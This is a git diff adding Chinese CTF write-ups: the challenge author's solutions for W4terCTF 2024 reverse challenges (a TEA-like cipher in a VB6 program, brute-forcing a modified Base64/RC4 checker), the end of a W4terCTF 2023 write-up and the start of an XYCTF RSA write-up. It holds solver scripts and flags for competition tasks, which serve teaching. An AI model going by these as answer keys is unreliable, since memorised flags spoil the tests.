+定位到flag出现的范围。观察发现W4ter这些字符对应的响应都是nothing here。 + +所以,对于上文的每个XXX,找到ASCII最小的nothing here,把ASCII翻译成字符,拼起来就是想要的flag。原因用下图举例,当初注入的时候尝试112,是nothing here,说明正确的小于等于112。继续尝试104是nothing here,说明正确的小于等于104。继续尝试100,98,99,直到能判断出最小的nothing here是多少。 + +![](../../wp/w4terctf-2023/52.png) + +电脑在看WireShark,屏幕不够用,手写比较有效率。第一行是第几个字符(跳过`W4terCTF{`),第二行是得到的十进制ASCII,第三行是对应的字符。 + +![](../../wp/w4terctf-2023/53.png) + +🚩 `W4terCTF{Wow_Y0u_cR@CK3D_A_5&L_6l!nd_!nJEC7I0n_1L0W}` + +# PPC + +## Quiz for PyGZ + +![](../../wp/w4terctf-2023/54.png) + +前2题略,第3题在网上找现成的答案https://www.zhihu.com/question/345195246/answer/832881914 ,第4题也是网上找的,但是想知道是怎么回事(不觉得这很神奇吗?),于是询问了GPT(是GPT-3,下面已经把他说错的部分更正了)。 + +> 这是一个Python程序,它定义了一个字符串变量\_,它的值是'\_=%r;print(\_%%\_)',其中%r是一个占位符,表示将来会被替换成一个字符串。然后程序使用print函数输出了这个字符串,字符串中的%r被替换成了_本身,所以输出的结果就是"\_='\_=%r;print(\_%%\_)';print(\_%\_)"。这个程序的作用是输出自身的代码。 + +然后我对它作了一点修改,就得到了第5题的答案。 + +```python +Welcome to the quiz for PyGZ! +In following questions, you will be asked to write some one-line answers. +[+] Question 1 + Write a python program that prints "Hello World!" + +[-] Answer: print("Hello World!") +[+] Output: Hello World! +[+] Question 2 + Write a python program that prints the answer to the life, the universe, and everything + +[-] Answer: print(42) +[+] Output: 42 +[+] Question 3 + Give me three numbers so they satisfy x^3 + y^3 + z^3 is the answer to the previous question (split by space) + +[-] Answer: -80538738812075974 80435758145817515 12602123297335631 +[+] Question 4 + Write a python program that prints its own source code + +[-] Answer: _='_=%r;print(_%%_)';print(_%_) +[+] Output: _='_=%r;print(_%%_)';print(_%_) +[+] Question 5 + Write a python program that prints its own sha256 hash + +[-] Answer: import hashlib;_='import hashlib;_=%r;print(hashlib.sha256((_%%_).encode()).hexdigest())';print(hashlib.sha256((_%_).encode()).hexdigest()) +[+] Output: bdc6cc2d96856f78ae8b29353bf441a998080054a08f6ef2f67ab98b32d7599e + +[+] Congratulations! You have passed all the questions in the PyGZ quiz! +[+] Here is your flag: W4terCTF{yOU_ScoREd_l0OPT5_frOM_9Z7im3} +``` diff --git a/source/_posts/wp/w4terctf-2024-assign.md b/source/_posts/wp/w4terctf-2024-assign.md new file mode 100644 index 0000000..5f0e756 --- /dev/null +++ b/source/_posts/wp/w4terctf-2024-assign.md @@ -0,0 +1,592 @@ +--- +title: W4terCTF 2024 Reverse 出题记录 +date: 2024/04/29 22:00:00 +updated: 2024/04/30 23:30:00 +categories: +- CTF-Writeup +cover: ../../wp/w4terctf-2024-assign/image-5.png +--- + +第一次出题,虽然还好没有非预期,但是与预想的结果并不完全符合,并不完美。果然出好题比做题难。 + + + +# 古老的语言 + +> [附件(右键另存为)](https://blog.xinshi.fun/wp/w4terctf-2024-assign/AncientLang.exe) +> +> **Difficulty:** Normal +> 听说这个程序兼容从 Windows 95 到 Windows 11…… +> 盲猜你身边就有人用过这个编程语言 🤔 +> **Note:** 附件不含恶意代码,可放心下载运行。 +> +> 💡 反编译器😭我还能完全相信你吗😭你这个you嘴hua舌的家伙😭 +> 💡 “Procedure analyzer and optimizer” 是什么功能?关掉会怎么样呢? +> +> 8 支队伍攻克,597 pts + +## 判断语言和找工具 + +一个有图标的72KB的exe。 + +判断语言、框架、构建工具等,可以使用DIE(Detect It Easy)。判断是Visual Basic 6.0程序。 + +![DIE](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-0.png) + +如果用IDA打开,看到的几乎全是“数据”,导入表有几个来自MSVBVM60库的函数,搜一下也可以知道是VB程序。 + +![import view](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-1.png) + +也有选手询问大语言模型,也是可以的: + +![ask gpt](https://blog.xinshi.fun/wp/w4terctf-2024-assign/ask-gpt.png) + +Python有uncompyle6和pycdc,.NET平台有dnspy和dotPeek,Java有JADX和JEB。结合题目名称“古老的语言”,可以尝试寻找专门逆向VB的软件。上网搜索“VB逆向”,可以找到VB Decompiler软件。 + +![img submit click](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-2.png) + +右侧可以看到函数名。(出题人:原本第一版函数是Private的,编译没有保留函数名,出题人自己看到都不想逆,所以故意把函数设为Public,就有函数名了。) + +上面可以看到是P-Code。(VB可以编译为P-Code(伪指令)或Native Code(本机指令),两种都要用系统的msvbvm60.dll,P-Code类似于一些逆向题中的VM。这里编译为伪指令也只是为了反编译好看一点。) + +## 逻辑分析 + +先看img_submit_Click过程,容易找到用Me.txt_input.Text判断长度的代码(这时就能知道VB中`<>`是不等于的意思;一开始可能以为`&H30`是30,运行程序测试一下会发现长度应该是48,所以`&H30`是0x30的意思),以及把var_A4传入Fxxxtel函数判断flag是否正确。那么中间几行应该就是把输入的flag从Me.txt_input.Text移到var_A4的逻辑了,实际上var_A4是由12个Long组成的数组(VB的Long是32位有符号数),并且出题人写的逻辑是大端序。其实中间这个过程也可以先不管,先解出Fxxxtel,看看会得到什么就行。 + +看看Fxxxtel函数(其实是Feistel分组密码结构的意思啦(虽然题目魔改了),写成这样只是抖个机灵,不需要能反应过来,直接逆就完事了): + +![fxxxtel](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-3.png) + +下面的连续if明显是与密文比对,上面的两层for就是加密过程了,很简短吧。加密过程和TEA很相似,不同的是每个分组分为3部分而不是2部分、异或改成加法、加法改成异或。 + +`loc_40F089`有一个很迷惑的`var_B0 = AddLong(0, -1640531527)`,正常人不会这样写代码。这里实际上是`var_B0 = AddLong(var_B0, -1640531527)`,只是var_B0初始化为0,被反编译器错误地优化了。这并不是出题时故意的,只是碰巧,恰好也体现出反编译器并不总是可靠的。如果关闭优化,就正确了: + +![optimizer](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-4.png) + +外层循环是把flag切片赋值给var_B4、var_B8、var_BC,注意VB中For循环是闭区间,这里`For var_AC = 0 To 9 Step 3`,var_AC等于9时是满足条件的。内层循环是var_B4、var_B8、var_BC互相使用并赋新值,重复0x20轮。加法和移位使用函数实现,看着不直观,改写成下面的伪代码(用l、m、r代替var_B4、var_B8、var_BC): + +```c +l = l ^ (((m << 4) ^ -559038737) + (m ^ var_B0) + ((m >> 5) ^ -1161901314)) +m = m ^ (((r << 4) ^ -559038737) + (r ^ var_B0) + ((r >> 5) ^ -1161901314)) +r = r ^ (((l << 4) ^ -559038737) + (l ^ var_B0) + ((l >> 5) ^ -1161901314)) +``` + +## 写解密算法 + +TEA是CTF逆向中很经典、很常见的加密算法。乍一看l、m、r总是变来变去的,但是看最后一轮的最后一步操作,这一步前后只改变了r,l是没有变的,所以`(((l << 4) ^ -559038737) + (l ^ var_B0) + ((l >> 5) ^ -1161901314))`这一串是可知的。把最后的r异或这一串,就能得到最后一步之前的r,同理也能得到最后一轮之前的l、m、r,也就能得到开始的l、m、r。写解密程序: + +```c +#include +#define u32 unsigned int + +u32 enc[] = { + 0x7D11E3C2, 0x5C6DB083, 0x6A7C56D9, 0x7DFBA9E5, 0x6DA04F4B, 0x18B18EE3, + 0x2624549B, 0x6C98C6D8, 0x75A2E883, -131717161, 0x6E303277, -258141690 +}; + +int main() +{ + for (int i = 0; i < 12; i += 3) + { + u32 sum = 0; + for (int j = 0; j < 32; j++) + sum += -1640531527; + u32 l = enc[i], m = enc[i + 1], r = enc[i + 2]; + for (int j = 0; j < 32; j++) + { + r ^= ((l << 4) ^ -559038737) + (l ^ sum) + ((l >> 5) ^ -1161901314); + m ^= ((r << 4) ^ -559038737) + (r ^ sum) + ((r >> 5) ^ -1161901314); + l ^= ((m << 4) ^ -559038737) + (m ^ sum) + ((m >> 5) ^ -1161901314); + sum -= -1640531527; + } + enc[i] = l, enc[i + 1] = m, enc[i + 2] = r; + } + printf("%s\n", enc); + // et4WFTCrmi7{0T_eeSu_DOM__nR3gNAle6au1l_sr_3k}tSU + + char* flag = (char*)enc; + for (int i = 0; i < 48; i += 4) + { + printf("%c%c%c%c", flag[i+3], flag[i+2], flag[i+1], flag[i]); + } + // W4terCTF{7ime_T0_uSe_MOD3Rn_lANgua6es_l1k3_rUSt} + + return 0; +} +``` + +注意要用unsigned int,注意sum的初始值。最后发现字节序不对,转一下就好。 + +也有选手将反编译代码复制出来,作为VBScript代码,工作量会比用C或Python重写小很多。 + +![as-vbs](https://blog.xinshi.fun/wp/w4terctf-2024-assign/as-vbs.png) + +![check pass](https://blog.xinshi.fun/wp/w4terctf-2024-assign/image-5.png) + +## 出题人的话 + +之所以出一道VB的题目,最开始是因为中山大学互联网与开源技术协会全员大会上,有几个人都说以前用VB写过程序,恰好出题人高中时也用VB写过程序。虽然出题人从未在比赛中见过VB的题目(可能只是因为见得少),但是VB反编译也不是特别难看,放在新手赛挺合适,所以就出了这道题。 + +出题时才发现VB整数溢出会报异常,而不是舍弃溢出位,而且VB也没有逻辑移位运算符,所以参考https://www.syue.com/Software/NET/ASPNET/5425.html 用函数实现。参考链接中逻辑右移是有缺陷的,在题目中做了修改。由于考虑不周,我直接用了参考链接中的Rotate(循环移位)这个函数名,但实际上做的是Shift(移位),对选手造成了误导,非常抱歉。因为不想选手花时间检查这些算术运算的逻辑,所以专门定义了字符串,用来说明函数没有魔改。但还是有不少选手在逆这几个函数,也许我应该写“此函数在实现C语言中的逻辑移位,做题时不须关注”的,非常抱歉。 + +决定出这道题的时候,考点是“对特定语言或框架的处理”和“TEA类似算法的解密”。至于VB Decompiler工具的反编译结果不准确,这是出题出到一半才发现的。于是就想着通过这道题,顺便让选手知道“反编译并不总是可靠的”,毕竟现实中的软件也不会刻意规避这种情况。出题人认为应该有选手注意到`var_B0 = AddLong(0, -1640531527)`很奇怪,然后来私聊询问的。但事实是,错误的反编译结果、比较复杂的TEA类似算法、不提供动态调试的工具这三点结合在一起,导致实际的难度比原来出题人想要的难度高了不少。 + +正如flag所说,是时候用更现代的编程语言了。这应该是LilRan最后一次用VB了,下次出题时,LilRan的题目将开始锈化。 + +彩蛋:UI、加密函数名称、应用程序标题、输入“激活码”。 + +# BruteforceMe + +> [附件(右键另存为)](https://blog.xinshi.fun/wp/w4terctf-2024-assign/BruteforceMe) +> +> **Difficulty:** Easy +> 和你爆了 😡 +> +> 20 支队伍攻克,217 pts + +基础题,出题目的是让选手熟悉IDA的使用,并尝试除了写反向算法外的其他解题方法(是因为这个原因,才进行了很多处的算法魔改)。本题灵感来源是CISCN 2023华南赛区分区赛题目“签个到”,在此基础上修改了算法、修改了“flag错误”的输出信息。(所以做出这道题的选手,可以算是做出国赛分区赛的题目了。) + +这是一个64位ELF文件,是在64位Linux系统上运行的。去除了符号表,但是在程序分析上没有为难选手,main函数、flag长度、加密过程、密文位置都很好找。 + +## 逻辑分析 + +**第一步 算术运算** + +main函数接收用户输入的flag,sub_1209函数把flag输入原地逐字节异或0x87再乘17,把输入从ASCII 32-127分散到1-255。然后在main函数中判断flag长度等于43。 + +因为没有任何一个可打印字符异或0x87再乘17会变成0,所以明文flag长度就等于43。注意这个步骤中,flag的每个字节互不影响。 + +```c +char *__fastcall sub_1209(char *a1) +{ + int i; // [rsp+1Ch] [rbp-14h] + + for (i = 0; i < strlen(a1); ++i) + { + a1[i] ^= 0x87u; + a1[i] *= 17; + } + return a1; +} +``` + +> 对于写反向算法的解法3: +> +> 有选手认为乘17这个步骤是不可逆的,其实不是。 +> +> ```c +> y = (x * 17) % 256 +> y * 241 % 256 = (x * 17 * 241) % 256 +> y * 241 % 256 = (x % 256) * (17 * 241 % 256) % 256 +> y * 241 % 256 = x * 1 % 256 +> y * 241 % 256 = x +> ``` +> +> 这里的241就是17的模256逆元,可以通过扩展欧几里得原理求得,或者Python中直接pow(17, -1, 256)。 +> +> 有选手用了一种巧妙的做法,把17看成0b00010001,x乘17就相当于(x<<4)+x,这样就可以反向计算了。虽然出题时并没有想到这一点,17这个数是随便选的。 +> +> 当然也可以稍微爆破一下,看0-255之间哪个x乘17会得到对应的y。 + +**第二步 Base64** + +sub_1290传入上一步产物和长度43,在新的内存区域进行Base64操作,可以明显看到Base64的表。在IDA中把a1类型设为 unsigned char*(对a1按右键,选择 Set lvar type... 输入 unsigned char*a1)会好看一点。 + +注意这个步骤中,原文的连续3个字节编码后变成4个字节,原文合适位置的连续3个字节与另外3个字节互不影响,编码后合适位置的连续4个字节与另外4个字节互不影响。 + +```c +_BYTE *__fastcall sub_1290(unsigned __int8 *a1, int a2) +{ + int v4; // [rsp+14h] [rbp-1Ch] + int i; // [rsp+18h] [rbp-18h] + _BYTE *v6; // [rsp+28h] [rbp-8h] + + v6 = malloc(4 * ((a2 + 2) / 3) + 1); + if (!v6) + return 0LL; + v4 = 0; + for (i = 0; a2 % 3 ? v4 < a2 - 3 : v4 < a2; i += 4) + { + v6[i + 3] = ~aAbcdefghijklmn[a1[v4] >> 2]; + v6[i + 2] = ~aAbcdefghijklmn[(16 * a1[v4]) & 0x30 | (a1[v4 + 1] >> 4)]; + v6[i + 1] = ~aAbcdefghijklmn[(4 * a1[v4 + 1]) & 0x3C | (a1[v4 + 2] >> 6)]; + v6[i] = ~aAbcdefghijklmn[a1[v4 + 2] & 0x3F]; + v4 += 3; + } + if (a2 % 3 == 2) + { + v6[i + 3] = ~aAbcdefghijklmn[a1[v4] >> 2]; + v6[i + 2] = ~aAbcdefghijklmn[(16 * a1[v4]) & 0x30 | (a1[v4 + 1] >> 4)]; + v6[i + 1] = ~aAbcdefghijklmn[(4 * a1[v4 + 1]) & 0x3C]; + v6[i] = 126; + } + else if (a2 % 3 == 1) + { + v6[i + 3] = ~aAbcdefghijklmn[a1[v4] >> 2]; + v6[i + 2] = ~aAbcdefghijklmn[(16 * a1[v4]) & 0x30]; + v6[i + 1] = '~'; + v6[i] = 126; + } + v6[4 * ((a2 + 2) / 3)] = 0; + return v6; +} +``` + +> 对于写反向算法的解法3: +> +> 这里进行了魔改,四个字符顺序颠倒,且每个字符按位取反,然后用~而不是=来补齐4的倍数个字符。比如正常情况下是`Abc=`,这里就变成了`~` `~c` `~b` `~A`。 + +**第三步 RC4** + +sub_1650传入上一步产物、长度60、密钥"W4terCTF{ZaYu}",在新的内存区域进行RC4操作。RC4是一种流密码,第一个循环用密钥来初始化S盒,第二个循环用S盒来加密原文。这里进行了魔改,最后一步异或时还异或了(length-i),即便这样也不改变RC4本身就是自己的反函数的性质,即`RC4(RC4(m))==m`。注意这个步骤中,每个字节互不影响。 + +```c +_BYTE *__fastcall sub_1650(__int64 a1, int a2, const char *a3) +{ + int v3; // r12d + __int64 v4; // kr00_8 + __int64 v5; // kr08_8 + char v8; // [rsp+2Bh] [rbp-135h] + char v9; // [rsp+2Bh] [rbp-135h] + int i; // [rsp+2Ch] [rbp-134h] + int j; // [rsp+2Ch] [rbp-134h] + int k; // [rsp+2Ch] [rbp-134h] + int v13; // [rsp+30h] [rbp-130h] + int v14; // [rsp+30h] [rbp-130h] + int v15; // [rsp+34h] [rbp-12Ch] + _BYTE *v16; // [rsp+38h] [rbp-128h] + char v17[264]; // [rsp+40h] [rbp-120h] + unsigned __int64 v18; // [rsp+148h] [rbp-18h] + + v13 = 0; + v15 = 0; + v16 = malloc(a2 + 1); + for (i = 0; i <= 255; ++i) + v17[i] = i; + for (j = 0; j <= 255; ++j) + { + v3 = (unsigned __int8)v17[j] + v13; + v4 = v3 + a3[j % strlen(a3)]; + v13 = (unsigned __int8)(HIBYTE(v4) + v4) - HIBYTE(HIDWORD(v4)); + // 看到有选手对上面一行反编译代码有疑问,可以查看defs.h中的宏定义,HIBYTE指的是最高有效字节(如0x1122334455667788的0x11)。v4是寄存器里的64位整数,但它只是两个0~255的数加起来而已,根本不能使64位的最高字节不为0,所以HIBYTE(v4)和HIBYTE(HIDWORD(v4))都应该是0,所以v13 = v4 % 256。反编译器通常不会做这种推理,而是忠实于原始汇编指令。 + v8 = v17[j]; + v17[j] = v17[v13]; + v17[v13] = v8; + } + v14 = 0; + for (k = 0; k < a2; ++k) + { + v15 = (v15 + 1) % 256; + v5 = (unsigned __int8)v17[v15] + v14; + v14 = (unsigned __int8)(HIBYTE(v5) + v17[v15] + v14) - HIBYTE(HIDWORD(v5)); + v9 = v17[v15]; + v17[v15] = v17[v14]; + v17[v14] = v9; + v16[k] = (a2 - k) ^ v17[(unsigned __int8)(v17[v15] + v17[v14])] ^ *(_BYTE *)(k + a1); + } + v16[k] = 0; + return v16; +} +``` + +最后将结果与byte_4020逐字节对比,输出一致的字节数。 + +第二步和第三步的魔改可能不太容易注意到,但是应该要看出来用了Base64和RC4。flag明文每3个字符为1组,对应最后密文的4个字节,**每次只穷举3个字符,就必然能对应上密文的4个字节,每组只有`(127-32)**3`种情况,在可接受的时间内可以完成穷举,这是可以分组爆破的原因**。如果像DES那样,每组有8个字节也就是64位,爆破需要数天时间,是不可接受的。 + +在判断出基本算法后,本题预设3种解法。 + +## 解法1:复制出反编译代码,分段穷举输入的所有可能 + +最省事且快的做法,既不需要大量创建线程,也不需要发现所有魔改的地方。缺点是如果遗漏了某个角落里的部分加密过程(比如有些题目在程序加载时会修改密文),就得不到正确的结果。所以必须随便设计一组输入,比对 爆破脚本 与 动态调试原文件 产生的对应的密文是否一致。同时,本题三个加密函数都是无状态(函数式)的,只影响参数,不对全局变量造成影响,否则要考虑的更多。 + +```c +#include +#include +#include +#include "defs.h" // 这是IDA安装路径里的文件,定义了IDA里看到的HIBYTE之类的东西 + +char *aAbcdefghijklmn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +char *__fastcall sub_1209(char *a1) +{ + // 自行复制 +} + +_BYTE *__fastcall sub_1290(unsigned __int8 *a1, int a2) +{ + // 自行复制 +} + +_BYTE *__fastcall sub_1650(__int64 a1, int a2, const char *a3) +{ + // 自行复制 +} + +int main() +{ + // TF{ 留给爆破,用来验证爆破程序是否正确 + char flag[] = "W4terC????????????????????????????????????}"; + char tmp[] = "W4terC????????????????????????????????????}"; + unsigned char res[] = { + 0xF9, 0xB6, 0x61, 0xF4, 0x74, 0x6C, 0xE1, 0x0D, 0xE5, 0xEC, + 0x65, 0x1E, 0x0F, 0x35, 0x59, 0x37, 0x0E, 0x23, 0xE3, 0x55, + 0x2C, 0xE4, 0x24, 0x72, 0x15, 0xC8, 0x5D, 0xAA, 0x53, 0x34, + 0xB9, 0x98, 0x0B, 0x1F, 0x04, 0x71, 0xF9, 0x97, 0xBB, 0x0E, + 0x39, 0x0A, 0x33, 0xE2, 0x66, 0x98, 0x88, 0x72, 0x52, 0x42, + 0xAF, 0x90, 0xA7, 0xE9, 0x5B, 0xEF, 0x71, 0x6D, 0xBB, 0x35 + }; + for (char *i = flag + 6; i < flag + 42; i += 3) + { + for (i[0] = 32; i[0] < 127; i[0]++) // 通过i来修改flag数组 + { + for (i[1] = 32; i[1] < 127; i[1]++) + { + for (i[2] = 32; i[2] < 127; i[2]++) + { + strcpy(tmp, flag); + sub_1209(tmp); + unsigned char *tmp1 = sub_1290(tmp, 43); + unsigned char *tmp2 = sub_1650(tmp1, 60, "W4terCTF{ZaYu}"); + if (!memcmp(tmp2, res, (i - flag + 3) * 4 / 3)) + { + printf("%s\n", flag); + free(tmp1); + free(tmp2); + goto br; // 退出循环,锁定这组结果 + } + free(tmp1); + free(tmp2); + } + } + } + br: + ; + } + return 0; +} +``` + +在我的电脑上需要爆破48秒(可能是频繁malloc开销大)。输出: + +```plain +W4terCTF{?????????????????????????????????} +W4terCTF{UnR??????????????????????????????} +W4terCTF{UnRELa???????????????????????????} +W4terCTF{UnRELat3D????????????????????????} +W4terCTF{UnRELat3D_BY?????????????????????} +W4terCTF{UnRELat3D_BYte5??????????????????} +W4terCTF{UnRELat3D_BYte5_cA???????????????} +W4terCTF{UnRELat3D_BYte5_cAn_6????????????} +W4terCTF{UnRELat3D_BYte5_cAn_63_e?????????} +W4terCTF{UnRELat3D_BYte5_cAn_63_eNuM??????} +W4terCTF{UnRELat3D_BYte5_cAn_63_eNuMeRA???} +W4terCTF{UnRELat3D_BYte5_cAn_63_eNuMeRA7ED} +``` + +## 解法2:创建进程,分段穷举输入的所有可能 + +这种解法是多次将程序运行起来,向程序提供输入,统计输出结果。出题时为了这种解法可行,专门在输入错误flag后输出了匹配的个数。**由于每次都要创建新的进程,开销很大,爆破需要的时间更长。** + +必须向程序输入43个字符。由于Base64不是对单个字节操作,如果对43个字符逐个爆破,只跑一轮是无法完全匹配的。就算第一次尝试时把这43个字符设为全'A'或者别的什么,也可能碰巧匹配上一部分;由于Base64编码结果的每个字符只由原来的6位得到,“最终匹配数量加一”并不意味着“输入字符多对了一个”。 + +以下列举几种**真的能运行打印出正确flag**而不是最后靠猜的做法: + +**A. 三个字符三个字符地尝试** + +保险(但低效)的做法是三个字符三个字符地尝试,尝试所有可能(而不中途提前结束),选择匹配数量最多的一次尝试(匹配数量最多的必然只有一次)。但是这样会导致爆破时间非常长,而每次尝试单个字符的时间相对短很多。 + +出题人尝试用Python(很慢)pwntools(很慢),在出题人的电脑上,每3个字符都需要3小时才能跑完,这是不可接受的。有选手用Python subprocess,跑完整个flag用了1.5小时。有选手用Rust,跑完整个flag只用了十来分钟。~~这里抄写选手WP~~ + +```rust +use std::{ + io::Write, + process::{Command, Stdio}, +}; + +fn main() { + // Init to 7 to make only 2 out of 60 match + let mut flag = [7; 43 + 1]; + flag[43] = b'\n'; + flag[42] = b'}'; + let prefix = b"W4terCTF{"; + flag[..prefix.len()].copy_from_slice(prefix); + + let mut last_matched = (prefix.len() / 3 * 4 + 4) as u8; + let mut command = Command::new("./BruteforceMe"); + command.stdin(Stdio::piped()).stdout(Stdio::piped()); + + 'loop_i: for i in (prefix.len()..42).step_by(3) { + println!("{}", flag[..i].escape_ascii()); + for x in 0x21..0x7f { + println!("progress: {x}"); + flag[i] = x; + for y in 0x21..0x7f { + flag[i + 1] = y; + for z in 0x21..0x7f { + flag[i + 2] = z; + + let mut child = command.spawn().unwrap(); + let mut stdin = child.stdin.take().unwrap(); + stdin.write_all(&flag).unwrap(); + + let output = child.wait_with_output().unwrap().stdout; + let a = output[17]; + let b = output[18]; + + let success = a == b'C'; + if success { + break 'loop_i; + } + + let matched = if b == b' ' { + a - b'0' + } else { + (a - b'0') * 10 + (b - b'0') + }; + if matched == last_matched + 4 { + last_matched = matched; + continue 'loop_i; + } + } + } + } + } + println!("{}", flag.escape_ascii()); +} +``` + +```python +# 在出题人的电脑上每3个字符都需要3小时才能跑完,这是不可接受的,这段代码看看就好了 + +from itertools import product +from pwn import * +from string import printable +from tqdm import tqdm + +context.log_level = 'ERROR' +flag = list(b'W4terC' + b'\xff' * 36 + b'}') +alphabet = printable[:-6] +dic = list(product(alphabet, repeat=3)) +max_match_count = 0 + +for i in range(6, 42, 3): + tmp_flag = '' + for j in tqdm(dic): + j = ''.join(j) + flag[i:i+3] = list(j.encode()) + s = process('./BruteforceMe') + s.sendline(bytes(flag)) + match_count = int(s.recvall().decode().split()[3]) + s.close() + if match_count > max_match_count: + max_match_count = match_count + tmp_flag = j + flag[i:i+3] = list(tmp_flag.encode()) + print(bytes(flag)) +``` + +**B. 尝试单个字符,跑完一轮后打乱字母表** + +看到选手很巧妙地每次跑完43个字符后,把爆破的字母表(A-Za-z0-9_)随机打乱。这样可以让每个未完成的三字节分组的**第一个字节**发生变化。~~第二次抄写选手WP~~,贴一份简化后的脚本,两分钟内能跑完: + +```python +import subprocess +import random + +def run_and_get_result() -> int: + global flag # 貌似会比传参快一些 + command = ["./BruteforceMe"] + process = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + process.stdin.write(''.join(flag)) + process.stdin.flush() + output_data, _ = process.communicate() + if 'Congratulations' in output_data: + print(''.join(flag)) + exit() + return int(output_data.split()[3]) + +if __name__ == "__main__": + result = 0 + flag = list("W4terCTF{#################################}") + alphabet = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_") + while result < 60: + random.shuffle(alphabet) # 这是精髓 + for t in range(43): + for v in alphabet: + tmp = flag[t] + flag[t] = v + new_result = run_and_get_result() + if new_result >= result: + print(''.join(flag)) + result = new_result + else: + flag[t] = tmp + print(f"best: {result}") + print(''.join(flag)) +``` + +**C. 总是查找出问题的是哪个字符** + +~~这里第三次抄写选手WP~~: + +![third-method](https://blog.xinshi.fun/wp/w4terctf-2024-assign/third-method.png) + +**D. 根据Base64的特点进行剪枝** + +以标准Base64为例,假如某三个字符编码后得到的是`W***`,这个`W`已经对上了。那么第一个字符一定是`010110??`,即`X` `Y` `Z` `[`这四个字符中的一个。这样就只需要尝试`X**` `Y**` `Z**` `[**`,大大减少了可能的空间。第二个字符以此类推。~~这里第四次抄写选手WP~~,贴个脚本: + +![fourth-method](https://blog.xinshi.fun/wp/w4terctf-2024-assign/fourth-method.png) + +## 解法3:写反向算法 + +这是最传统的做法,这种做法就和题目名称无关了,需要看出所有魔改的地方才行。详见上文逻辑分析。 + +```python +import Base64 + +def decode_flag(enc: bytes) -> bytes: + tmp = list(my_rc4_encode(enc, b'W4terCTF{ZaYu}')) # RC4的encode和decode是一样的 + + for i in range(0, len(tmp), 4): + # 负数就是按位取反加一,按位取反就是负数减一,再加回256回到0~255之间 + # 或者说,反码加原码会等于11111111即255 + tmp[i], tmp[i+3] = 255-tmp[i+3], 255-tmp[i] + tmp[i+1], tmp[i+2] = 255-tmp[i+2], 255-tmp[i+1] + tmp = bytes(tmp).replace(b'\x81', b'=') + tmp = list(Base64.b64decode(tmp)) + + for i in range(len(tmp)): + # 这里的pow(17, -1, 256)见上文逻辑分析第一步 + tmp[i] = tmp[i] * pow(17, -1, 256) % 256 + tmp[i] ^= 0x87 + + return bytes(tmp) + +def my_rc4_encode(raw: bytes, key: bytes) -> bytes: + s = list(range(256)) + j = 0 + out = [] + for i in range(256): + j = (j + s[i] + key[i % len(key)]) % 256 + s[i], s[j] = s[j], s[i] + j = k = 0 + for i in range(len(raw)): + k = (k + 1) % 256 + j = (j + s[k]) % 256 + s[k], s[j] = s[j], s[k] + out.append(raw[i] ^ s[(s[k] + s[j]) % 256] ^ (len(raw)-i)) + return bytes(out) + +if __name__ == '__main__': + enc = bytes([ + 0xF9, 0xB6, 0x61, 0xF4, 0x74, 0x6C, 0xE1, 0x0D, 0xE5, 0xEC, + 0x65, 0x1E, 0x0F, 0x35, 0x59, 0x37, 0x0E, 0x23, 0xE3, 0x55, + 0x2C, 0xE4, 0x24, 0x72, 0x15, 0xC8, 0x5D, 0xAA, 0x53, 0x34, + 0xB9, 0x98, 0x0B, 0x1F, 0x04, 0x71, 0xF9, 0x97, 0xBB, 0x0E, + 0x39, 0x0A, 0x33, 0xE2, 0x66, 0x98, 0x88, 0x72, 0x52, 0x42, + 0xAF, 0x90, 0xA7, 0xE9, 0x5B, 0xEF, 0x71, 0x6D, 0xBB, 0x35 + ]) + print(decode_flag(enc)) +``` + +彩蛋:杂鱼~❤️ diff --git a/source/_posts/wp/xyctf-2024-aio.md b/source/_posts/wp/xyctf-2024-aio.md new file mode 100644 index 0000000..cb86fc2 --- /dev/null +++ b/source/_posts/wp/xyctf-2024-aio.md @@ -0,0 +1,296 @@ +--- +title: XYCTF 2024 (baby_AIO) Writeup by 摸鱼 +date: 2024/04/26 14:00:00 +updated: 2024/04/26 14:00:00 +categories: +- CTF-Writeup +cover: ../../wp/xyctf-2024-aio/cover.png +--- + +余师傅出的五个方向合在一起的一道题,比赛中有5支队伍解出。摸鱼队的Crypto和Misc部分由luoingly师傅完成,Reverse、Web和Pwn部分由我完成。Reverse做了一天,Web现学现卖做一晚上,Pwn现学现卖做两天,算是我第一次做出来Pwn题。感谢这道题让我学会了XXE和Format String(指会做这道题)。 + + + +[本站上的 XYCTF 2024 (Reverse) Writeup by 摸鱼 与评价](/wp/xyctf-2024-reverse/) + +[XYCTF 2024 Writeup by 摸鱼](https://vilanruise.notion.site/7cc7b25425c049dea62755b96a805f29) + +# 第一步 Crypto + +```python +import gmpy2 as gp + +e = 65537 +n = 528565534050303289402007510968179435618186732104470795324112506464649249469837867028185617 +dp = 487978202023750799970713551102136558437027925 + +for x in range(1, e): + if(e*dp%x==1): + p=(e*dp-1)//x+1 + if(n%p!=0): + continue + q=n//p + phin=(p-1)*(q-1) + d=gp.invert(e, phin) + print("p = ", p) + print("q = ", q) +``` + +```python +import libnum +import gmpy2 +n1 = 60984961924036640364806324068224697071843724749390772716648370179057892113876360274026354662527777447902822720596626094363633542717821045035441273653134740082082972528467040631675108058268481211224587979227700303746708094408639881186270901498495613159595719501389800228775436242418332342165682104816100945559 +e1 = 718052616328316407959060891790846549694362099 +c1 = 14643165800600469237679161939570210679439096911755461832302138620621212724063371108183767129591712055258072458698793819383057004625557577440444773493982158481797933707633029392859049044470914532014267958303995860803871791733761877112192748951375669095992152628840179729532225161446048952172457991042916248568 +n2 = n1 +e2 = 736109753005379176045853848742061395149928683 +c2 = 47744166763747993083913069262560688521758241055343711330487778299969300229670028543968082464934326523754042128559756835029869433598546417098582906459369495989688837877596260888669274901459794346656919486877501825652169698125071792901224555479266468029736677586557495945618181583432146191688552560789016927665 +s, s1, s2 = gmpy2.gcdext(e1, e2) +m = (pow(c1, s1, n1)*pow(c2, s2, n2)) % n1 +print(libnum.n2s(int(m)).decode()) +``` + +可以得到内容「the key of txt is XYXY1l0v3y0u and another key is 99 88 77 66」 + +# 第二步 Misc + +使用上面的到的 key 